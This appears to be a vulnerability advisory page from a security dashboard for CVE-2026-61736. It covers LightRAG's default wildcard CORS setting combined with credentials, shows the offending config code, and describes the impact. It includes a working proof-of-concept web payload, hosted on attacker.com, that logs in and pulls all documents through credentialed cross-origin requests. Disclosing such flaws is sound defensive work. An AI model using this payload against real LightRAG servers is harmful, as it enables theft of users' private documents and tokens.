Kestrel
대시보드로 돌아가기
CVE-2026-61736CRITICAL· 9.3MITRENVDGHSA대응게시일: 2026. 07. 15.수정일: 2026. 07. 20.

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.3critical

이론적 심각도 점수

EPSS
0.3%상위 77.2%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.19.3CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

상세 설명

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

bash
1# lightrag/api/config.py:639
2args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard
3
4# lightrag/api/lightrag_server.py:1379
5app.add_middleware(
6 CORSMiddleware,
7 allow_origins=["*"], # any origin
8 allow_credentials=True, # credentials — PROBLEM with wildcard
9 allow_methods=["*"],
10 allow_headers=["*"],
11)
12
13# Starlette CORSMiddleware (confirmed in source):
14# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
15# = not True or True = True → echoes the requesting origin back, not "*"
16# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

xss
1<!-- attacker.com/steal.html -->
2<script>
3const TARGET = "http://lightrag-server:9621";
4(async () => {
5 // Get victim token (or re-use existing session)
6 const r1 = await fetch(`${TARGET}/login`, {
7 method: "POST", credentials: "include",
8 headers: {"Content-Type": "application/x-www-form-urlencoded"},
9 body: "username=victim&password=known_pass"
10 });
11 const { access_token } = await r1.json();
12
13 // Exfiltrate all documents
14 const docs = await (await fetch(`${TARGET}/documents`, {
15 credentials: "include",
16 headers: { Authorization: `Bearer ${access_token}` }
17 })).json();
18 console.log("STOLEN DOCS:", docs);
19})();
20</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.